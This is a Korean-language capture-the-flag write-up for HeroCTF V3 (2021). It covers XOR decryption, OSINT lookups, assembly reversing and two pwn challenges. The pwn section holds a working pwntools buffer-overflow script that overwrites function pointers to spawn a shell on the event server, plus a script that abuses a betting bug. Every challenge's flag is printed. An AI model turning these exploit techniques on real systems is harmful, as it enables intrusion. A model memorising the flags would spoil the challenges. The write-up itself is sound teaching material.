2021 Hero CTF V3 Write-Up
![2021 Hero CTF V3 Write-Up](/assets/images/ctf/heroctfv3-2021/title.png)
Crypto
1. h4XOR (75)
Problem
xor.py
1
2
3
4
5
6
7
8
9
10
11
#!/usr/bin/env python3
from os import urandom
from random import randint
from pwn import xor
input_img = open("flag.png", "rb").read()
outpout_img = open("flag.png.enc", "wb")
key = urandom(8) + bytes([randint(0, 9)])
outpout_img.write(xor(input_img, key))
flag.png.enc
먼저 png 파일은 다음과 같이 xor.py에 의해서 암호화가 진행되었다. xor연산을 진행하여 key의 바이트수 만큼 블럭으로 xor를 진행하였다. key값을 알아내는 것이 핵심이다.
urandom(8) + byte([randint(0,9)]) 로 총 9바이트의 블럭마다 암호화를 진행한다.
이 때 png 파일의 시그니쳐 헤더는 89 50 4E 47 0D 0A 1A 0A 이므로
앞의 urandom(8)자리는 flag.png.enc의 앞의 8자리와 파일 시그니처의 xor연산으로 구할 수 있다.
나머지 한 바이트는 0~9까지의 숫자 중 하나이므로, 그냥 brute force를 진행하였다.
따라서 복호화 산물은 총 10가지의 사진이 나온다.
다음은 복호화 스크립트이다.
solve.py
1
2
3
4
5
6
7
8
from pwn import xor
f = open("flag.png.enc", "rb").read()
for i in range(10):
key = b'\x5e\x37\xd5\x6c\xc7\x3b\x60\xb3' + bytes([i])
print(key)
output = open("flag"+str(i)+".png", "wb")
output.write(xor(f, key))
key의 앞자리 8바이트는 urandom값이고, 나머지 한 바이트는 0~9까지의 숫자이다.
스크립트의 결과 산물로 다음과 같이 10개의 png파일이 생성되었고, 사진을 보면 randint값이 9일 때, 복호화가 된 것을 확인할 수 있다.
result
flag9.png
FLAG
1
FLAG : Hero{123_xor_321}
MISC
1. Russian Doll (50)
Problem
solve
문제 파일의 archive.zip파일을 보면 수많은 폴더가 존재해서, 직접 들어가보면 엄청난 시간이 소요될 것이다.
압출파일을 바이너리 파일로 살펴보면, 내용이 다 보이기 때문에 HxD프로그램으로 연 뒤에 Hero{ 라는 문자열을 찾았다.
FLAG
1
FLAG : Hero{if_yOu_gOt_HEre_By_clIcKInG_mANnUaLly_YoU_sHOuLd_REalLy_SeE_SoMeOne}
OSINT
1. Find Me (10)
Problem
사진을 통해 장소의 이름이 플래그가 된다고 한다.
사진은 다음과 같다.
구글 이미지 검색 기능을 이용해 검색하였더니 다음과 같은 결과가 나왔다.
FLAG
1
FLAG : Hero{Porte Mordelaise}
2. Social ID #1 (15)
Problem
@HeroCTF의 트위터 ID를 찾으면 된다. 다음 사이트에서 @HeroCTF를 검색하면 ID값이 나온다.
FLAG
1
FLAG: Hero{815907006708060160}
3. Social ID #2 (50)
Problem
이번 문제는 twitter ID를 통해 트위터 이름을 알아내면 된다.
이전 문제와 같은 사이트에서 Twitter ID를 넣으면 유저명이 나온다.
FLAG
1
FLAG : Hero{@elonmusk}
Pwn
1. Win, but twisted (30)
Problem
Source
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
int UNLOCKED = 0;
void set_lock()
{
printf("Setting lock !");
UNLOCKED = 1;
}
void shell()
{
printf("In shell function ! ");
if (UNLOCKED == 1)
{
printf("Getting shell ! ");
setreuid(geteuid(), geteuid());
system("/bin/sh");
}
}
void hello_hero(int hero)
{
printf("It looks like that's something a Hero would say\n");
}
void look_like()
{
printf("Please keep being one. :)\n");
}
int main()
{
int (*look)() = look_like;
int (*hello)() = hello_hero;
char buffer[32];
printf("What would a hero say ?\n>>> ");
fgets(buffer, 44, stdin);
hello();
look();
}
shell함수에서 쉘을 얻는 법은 set_lock 함수에서 전역 변수 UNLOCKED = 1을 만들어주어야 한다.
main함수를 살펴보면 fgets를 통해 44바이트를 입력받고, hello함수와 look함수를 호출하는데
이 때, hello함수를 set_lock함수로 바꾸고, look함수를 shell함수로 바꾸면, 쉘을 얻을 수 있다.
solve.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
r = remote('pwn.heroctf.fr', 9003)
shell = 0x8049999
set_lock = 0x8049965
payload = b''
payload += b'A'*0x20
payload += p32(set_lock)
payload += p32(shell)
r.sendline(payload)
r.interactive()
바이너리 파일에서는 쉘을 주는것이 아니라 바로 플래그 파일을 출력시켜준다.
FLAG
1
FLAG : Hero{Tw1sT3D_w1N_FuNcTi0N}
2. High Stakes (50)
Problem
이 문제같은 경우 바이너리 파일을 주지 않았습니다. 바로 nc연결을 통해서 문제를 해결해야 한다.
접속하면 다음과 같이 메뉴가 존재한다.
처음에 100달러를 가지고 있다.
1번 메뉴는 0-100달러로, 0-36번 숫자를 배팅하는 메뉴이다.
2번 메뉴는 현재 돈을 나타낸다.
3번 메뉴는 현재 배팅한 을 나타낸다.
4번 메뉴는 베팅 결과이다.
5번 메뉴는 상점으로 여기서 3600달러에 flag를 판다.
6번 메뉴는 돈충전하는 메뉴?인거 같은데 누르면 충전 안된다. 별로 상관없는 메뉴이니 넘어가도 된다.
7번 메뉴는 나가는 메뉴이다.
random함수로 계속 배팅할 때마다 숫자가 계속 바뀌는 거 같은데, 한 번 내 운에 맡겨서 1번 메뉴에서 적당히 운빨로 숫자를 맞췄는데,
이 사기꾼들이 숫자 맞아도 실패했다고 돈을 몰수해갔다.
1번 메뉴에서 배팅을 하고, 4번을 통해 결과를 얻는 것인데 1번을 통한 배팅에서 배팅 기록은 남지만, 돈은 차감이 되지 않는다.
이 점을 이용해서 파이썬 스크립트로 0~36까지의 숫자 모두 배팅한 후 4번을 통해 결과를 얻었다.
다음과 같이 0-36까지 모두 배팅한 기록을 볼 수 있다.
이제 결과를 확인하면, 다음과 같이 36번 모두 확인할 수 있고, 7200달러를 얻고 3600달러를 잃어서, 3600달러를 얻게된다.
따라서 총 3600달러를 획득했고, 이 돈으로 flag를 구입할 수 있다.
solve.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
r = remote('pwn.heroctf.fr', 9001)
r.recvuntil('>>> ')
for i in range(37):
r.sendline(b'1') #bet
r.sendline(b'%d'%i)
r.sendline(b'100')
r.sendline(b'4') #roulette
r.sendline(b'5') #shop
r.recvuntil(b';)')
r.sendline(b'3') #flag
r.interactive()
Result
FLAG
1
FLAG : Hero{g4MBl1nG_f0R_dA_fL4G}
Reverse
1. EasyAssembly (40)
Problem
어셈블리 파일을 통해 input과 modified 변수의 값을 찾으면 된다.
우선 어셈블리 파일은 다음과 같다.
Assembly CODE
.text
.globl value
.data
.align 4
.type value, @object
.size value, 4
value:
.long 24564753
.globl isGood
.align 4
.type isGood, @object
.size isGood, 4
isGood:
.long 12345
.section .rodata
.align 8
.LC0:
.string "Hey ! Have you got a password for me ? "
.text
.globl getInput
.type getInput, @function
getInput:
.LFB6:
.cfi_startproc
endbr64
pushq %rbp #
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
movq %rsp, %rbp #,
.cfi_def_cfa_register 6
subq $32, %rsp #,
# EasyAssembly.c:7: int getInput(void){
movq %fs:40, %rax # MEM[(<address-space-1> long unsigned int *)40B], tmp88
movq %rax, -8(%rbp) # tmp88, D.2854
xorl %eax, %eax # tmp88
# EasyAssembly.c:10: printf("Hey ! Have you got a password for me ? ");
leaq .LC0(%rip), %rdi #,
movl $0, %eax #,
call printf@PLT #
# EasyAssembly.c:11: fgets(input, 12, stdin);
movq stdin(%rip), %rdx # stdin, stdin.0_1
leaq -20(%rbp), %rax #, tmp85
movl $12, %esi #,
movq %rax, %rdi # tmp85,
call fgets@PLT #
# EasyAssembly.c:12: return atoi(input);
leaq -20(%rbp), %rax #, tmp86
movq %rax, %rdi # tmp86,
call atoi@PLT #
# EasyAssembly.c:13: }
movq -8(%rbp), %rcx # D.2854, tmp89
xorq %fs:40, %rcx # MEM[(<address-space-1> long unsigned int *)40B], tmp89
je .L3 #,
call __stack_chk_fail@PLT #
.L3:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE6:
.size getInput, .-getInput
.section .rodata
.align 8
.LC1:
.string "Well done ! You can validate with the flag Hero{%d:%d}\n"
.align 8
.LC2:
.string "Argh... Try harder buddy you can do it !"
.text
.globl main
.type main, @function
main:
.LFB7:
.cfi_startproc
endbr64
pushq %rbp #
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
movq %rsp, %rbp #,
.cfi_def_cfa_register 6
subq $16, %rsp #,
# EasyAssembly.c:17: int input = getInput();
call getInput #
movl %eax, -8(%rbp) # tmp85, input
# EasyAssembly.c:19: modified = input >> 2;
movl -8(%rbp), %eax # input, tmp89
sarl $2, %eax #, tmp88
movl %eax, -4(%rbp) # tmp88, modified
# EasyAssembly.c:21: if(modified == 1337404)
cmpl $1337404, -4(%rbp) #, modified
jne .L5 #,
# EasyAssembly.c:22: isGood = 0;
movl $0, isGood(%rip) #, isGood
.L5:
# EasyAssembly.c:24: if(!isGood)
movl isGood(%rip), %eax # isGood, isGood.1_1
# EasyAssembly.c:24: if(!isGood)
testl %eax, %eax # isGood.1_1
jne .L6 #,
# EasyAssembly.c:25: printf("Well done ! You can validate with the flag Hero{%d:%d}\n", input, modified);
movl -4(%rbp), %edx # modified, tmp90
movl -8(%rbp), %eax # input, tmp91
movl %eax, %esi # tmp91,
leaq .LC1(%rip), %rdi #,
movl $0, %eax #,
call printf@PLT #
jmp .L7 #
.L6:
# EasyAssembly.c:28: puts("Argh... Try harder buddy you can do it !");
leaq .LC2(%rip), %rdi #,
call puts@PLT #
.L7:
# EasyAssembly.c:30: return EXIT_SUCCESS;
movl $0, %eax #, _11
# EasyAssembly.c:31: }
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE7:
.size main, .-main
.ident "GCC: (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
어셈블리 보기 귀찮은데, 감사하게 주석으로 코드가 다 적혀있다. 이 코드들을 모아봤더니 다음과 같다.
C CODE
1
2
3
4
5
6
7
8
9
10
11
12
13
14
int getInput(void){
printf("Hey ! Have you got a password for me ? ");
fgets(input, 12, stdin);
return atoi(input);
}
void main() {
int input = getInput();
modified = input >> 2;
if(modified == 1337404) isGood = 0;
if(!isGood) printf("Well done ! You can validate with the flag Hero{%d:%d}\n", input, modified);
else puts("Argh... Try harder buddy you can do it !");
return EXIT_SUCCESS;
}
getInput()을 통해 입력값을 input 변수에 넣고 modified 변수에 input » 2의 결과를 넣어서 modified가 1337404이면 flag를 출력시켜준다.
modified는 1337404인 것을 알았고, input값은 역연산을 통해 input = modified « 2; 임을 알 수 있다.
1337404 « 2 == 5349616 이므로, input = 5349616; 임을 알 수 있다.
FLAG
1
FLAG : Hero{5349616:1337404}